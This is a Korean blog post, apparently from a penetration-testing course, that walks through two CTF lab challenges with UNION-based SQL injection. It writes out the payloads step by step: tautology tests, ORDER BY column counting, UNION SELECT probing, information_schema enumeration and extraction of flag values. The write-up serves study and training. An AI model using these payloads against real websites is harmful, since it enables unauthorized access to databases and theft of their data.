모의해킹 스터디 중 CTF 문제에 대한 풀이 과정을 서술하며, 문제에 도달하는 과정을 이해하기 위한 목적으로 작성.
앞서 배운 UNION based SQL Injection를 활용하여 문제를 풀어보자!
SQL Injection 1, 2
목차
SQL Injection 1 - 문제 분석
문제 : 비밀 데이터를 찾아라!
▶ 사이트 화면

SQL Injection 1 - 문제 풀이
1. Injection Point 찾기
▶ SQL 구문 유추
검색 키워드 : a
Return 값 : a가 들어간 모든 데이터
select * from table where name like ‘%input%’;
위와 같이, SQL 문을 유추해 볼 수 있다.
추가로 검색 값을 a%' or '1'='1으로 작성하여 검색해도, 아래와 같은 데이터를 반환한다.

2. Column 개수 찾기
▶ Order by
검색 키워드 : %' order by 4 #
N = 4 일때 까지 모든 데이터를 출력하며, 이후로는 아무 데이터도 출력되지 않는다
select * from table where name like ‘%%' order by 4 #;
결론 : 해당 데이터베이스는 총 4개의 컬럼으로 이루어져있다.
3. 출력되는 column 위치 찾기
▶ 화면에 출력되는 column의 위치 확인
검색 키워드 : %’ union select 1, 2, 3, 4 #
Return 값 : 1 = id / 2 = level / 3 = rank point / 4 = rate (모든 컬럼이 화면에 출력된다)
select * from table where name like ‘%%’ union select 1, 2, 3, 4 #

4.DB 이름 확인
▶ DB 이름 출력
검색 키워드 : %’ union select database(), 2, 3, 4 #
Return 값 : sqli_1

5. Table 이름 확인
▶ table 이름 출력
검색 키워드 : %' union select table_name, 2, 3, 4 from information_schema.tables where table_schema='sqli_1’ #
Return 값 : flag_table, plusFlag_Table, user_info

6. Column 이름 확인
▶ Column 이름 출력
검색 키워드 : %’ union select column_name, 2, 3, 4 from information_schema.columns where table_name = ‘flag_table’ #
Return 값 : flag

7. Data 추출
▶ 원하는 Data 출력
검색 키워드 : %’ union select flag, 2, 3, 4 from flag_table
Return 값 : flag값

SQL Injection 2 - 문제 분석
문제 : 진짜 데이터를 찾아랏!
▶ 사이트 화면

검색 키워드 : normaltic
Return 값 : 문제 1번과 화면 구성은 동일하나, level, rank point는 *****으로 표시된다. Info 값에 주목!

검색 키워드 : doldol
Return 값 : 돌돌씨는 음악을 좋아해~

검색 키워드 : hey
Return 값 : info 값이 빈칸. level, rank point는 어떠한 값으로 검색해도 동일

- database에 있을 법한 데이터인 'doldol'을 입력했더니, info 값이 변한다.
- database에 없을 법한 데이터인 'hey'를 입력했더니 info 값이 빈칸으로 출력된다.
- 어떠한 값을 입력해도, Level, Rank Point는 ******으로 출력된다. 이 칸은, SQLi로 원하는 값을 출력할 수 없다!
- ID 칸은 내가 입력한 값을 그대로 보여준다. 이 칸도, 내가 원하는 값을 출력할 수 없다.
▶ 결론 : 이 사이트에서 내가 원하는 데이터를 볼 수 있는 칸은 info 칸 1 곳 밖에 없다.
SQL Injection 2 - 문제 풀이
1. SQL Injection 포인트 찾기
▶ AND, OR 조건 확인
normaltic은 AND, OR 값 모두 normaltic의 info 값을 리턴

doldol은 AND 값은 doldol의 info 값을 리턴하지만, OR 값은 normaltic의 info 값을 리턴한다.
이 데이터베이스의 첫 번째 사용자 값은 normaltic 일 것으로 예상된다.

2. Column 개수 찾기
▶ Order by
N = 6 일때 까지 normaltic 데이터를 출력하며, 이후로는 아무 데이터도 출력되지 않는다

3. 출력되는 column 위치 찾기
숫자를 순서대로 입력 시, normaltic 데이터를 출력한다. 숫자 간 띄어쓰기를 해도 동일하다.

위에서 normaltic 데이터가 첫 줄에 위치할 것이라고 예상할 수 있었다.
Order by 구문을 이용해서, 데이터가 어느 컬럼에 위치하는지 출력해보았다.

여기서 부터는 order by 구문에 대한 의문점으로 인한 약간의 삽질이다. 넘겨도 무방하다.
ID가 1 번째 컬럼에 위치하며, INFO가 6 번째 컬럼에 위치한다.
ID가 1 번째 컬럼에 위치하며, INFO가 6 번째 컬럼에 위치하는 것을 확실히 보기 위한 삽질이다. 데이터베이스에는 normaltic, doldol, union 으로 입력된 값만 존재함을 전제로 한다.
Info 컬럼의 값만 볼 때,
검색 키워드 : normaltic' union select 1, 2, 3, 4, 5, 6 order by 1 asc#
Return 값 : 6
검색 키워드 : normaltic' union select 1, 2, 3, 4, 5, 6 order by 1 desc#
Return 값 : my name is normaltic
검색 키워드 : normaltic' union select 1, 2, 3, 4, 5, 'test' order by 1 asc#
Return 값 : test
검색 키워드 : normaltic' union select 1, 2, 3, 4, 5, 'test' order by 1 desc#
Return 값 : my name is normaltic
검색 키워드 : normaltic' union select 1, 2, 3, 4, 5, 'test' order by 6 asc#
Return 값 : my name is normaltic
검색 키워드 : normaltic' union select 1, 2, 3, 4, 5, 'test' order by 6 desc#
Return 값 : test
첫 번째 컬럼이 ID 이고, 6 번째 컬럼이 info 이며, 다른 데이터는 없다 가정할 때
1. order by 1 asc로 정렬시
첫 번째 컬럼 ID 값은 1이 가장 위에 오며 그 뒤로는 doldol, normaltic 데이터가 올 것이다.
6 번째 컬럼 INFO 값은 6이 가장 위로 오며 그 뒤로는 music is my life, my name is normaltic 데이터가 올 것이다.
2. order by 1 desc로 정렬시
첫 번째 컬럼 ID 값은 normaltic이 가장 위에 오며 그 뒤로는 doldol, 1 데이터가 올 것이다.
6 번째 컬럼 INFO 값은 my name is normaltic이 가장 위로 오며 그 뒤로는 music is my life, 6 데이터가 올 것이다.
3. order by 6 asc로 정렬시
6 번째 컬럼 INFO 값은 6이 가장 위로 오며 그 뒤로는 music is my life, my name is normaltic 데이터가 올 것이다.
첫 번째 컬럼이 ID 값은 1이 가장 위에 오며 그 뒤로는 doldol, normaltic 데이터가 올 것이다.
4. order by 6 desc로 정렬시
6 번째 컬럼 INFO 값은 my name is normaltic이 가장 위로 오며 그 뒤로는 music is my life, 6 데이터가 올 것이다.
첫 번째 컬럼 ID 값은 normaltic이 가장 위에 오며 그 뒤로는 doldol, 1 데이터가 올 것이다.
4. DB 이름 확인
▶ DB 이름 출력
검색 키워드 : normaltic' union select 1, 2, 3, 4, 5, database() order by 1 #
Return 값 : sqli_5

5. Table 이름 확인
여기서부터 다시 삽질의 시작이다. 데이터를 출력하는 칸이 1칸이기에, 데이터가 나오지 않을 때까지 반복한다.
▶ Table 이름 출력 : 총 3개의 테이블 존재
검색 키워드 : normalitc' union select 1, 2, 3, 4, 5, table_name from information_schema.tables where table_schema='sqli_5' limit 1 offset 0#
Return 값 : flag_honey
검색 키워드 : normalitc' union select 1, 2, 3, 4, 5, table_name from information_schema.tables where table_schema='sqli_5' limit 1 offset 1#
Return 값 : game_user
검색 키워드 : normalitc' union select 1, 2, 3, 4, 5, table_name from information_schema.tables where table_schema='sqli_5' limit 1 offset 2#
Return 값 : secret
검색 키워드 : normalitc' union select 1, 2, 3, 4, 5, table_name from information_schema.tables where table_schema='sqli_5' limit 1 offset 3#
Return 값 : 아무것도 리턴 안됨
검색 키워드 :
normalitc' union select 1, 2, 3, 4, 5, column_name from information_schema.columns where table_name='flag_honey' limit 1 offset 0#
Return 값 : idx
6. Column 이름 확인
▶ Column 이름 출력
이 데이터베이스는 아래 표와 같이 생겼다고 유추할 수 있다.
Database | sqli_5 | ||
Table | Flag_honey | game_user | secret |
Column | flag | idx | My name is normaltic |
Flag |
Column 이름 출력 구문
▶ flag_honey
검색 키워드 : normalitc' union select 1, 2, 3, 4, 5, column_name from information_schema.columns where table_name='flag_honey' limit 1 offset 0#
Return 값 : flag
검색 키워드 : normalitc' union select 1, 2, 3, 4, 5, column_name from information_schema.columns where table_name='flag_honey' limit 1 offset 1#
Return 값 : 아무것도 리턴 안됨
▶ secret
검색 키워드 : normaltic' union select 1, 2, 3, 4, 5, column_name from information_schema.columns where table_name='secret' limit 1 offset 0#
Return 값 : my name is normaltic
검색 키워드 : normaltic' union select 1, 2, 3, 4, 5, column_name from information_schema.columns where table_name='secret' limit 1 offset 1#
Return 값 : flag
검색 키워드 : normaltic' union select 1, 2, 3, 4, 5, column_name from information_schema.columns where table_name='secret' limit 1 offset 2#
Return 값 : 아무것도 리턴 안됌
▶ game_user
검색 키워드 : normalitc' union select 1, 2, 3, 4, 5, column_name from information_schema.columns where table_name='flag_honey' limit 1 offset 0#
Return 값 : idx
검색 키워드 : normalitc' union select 1, 2, 3, 4, 5, column_name from information_schema.columns where table_name='flag_honey' limit 1 offset 1#
Return 값 : 아무것도 리턴 안됌
7. Data 추출
▶ Data 추출
Table : secret
column : flag
검색 키워드 : normaltic' union select 1, 2, 3, 4, 5, flag from secret limit 1 offset 0 #
Return 값 : my name is normaltic
순서대로 진행하다 보면 flag 를 회수할 수 있다.
검색하는 키워드값이 동일하다 보니, intruder와 같은 프로그램을 만들면 손쉽게 데이터를 확인할 수 있을 것 같다.
하나하나 대입해보는 것이 이 문제의 목적은 아니었을 것 같다는 것이, 문제를 풀고 나니 느끼는 점이다.
'IT 성장기 (교육이수) > CTF 문제풀이' 카테고리의 다른 글
[모의해킹 CTF] Error Based SQLi3 (0) | 2024.06.03 |
---|---|
[모의해킹 CTF] Pin Code Crack : Python 풀이 (0) | 2024.05.28 |
[모의해킹 CTF] Login Bypass 3 (0) | 2024.05.26 |
[모의해킹 CTF] Login Bypass5 (0) | 2024.05.21 |
[모의해킹 CTF] Pin Code Crack (0) | 2024.05.21 |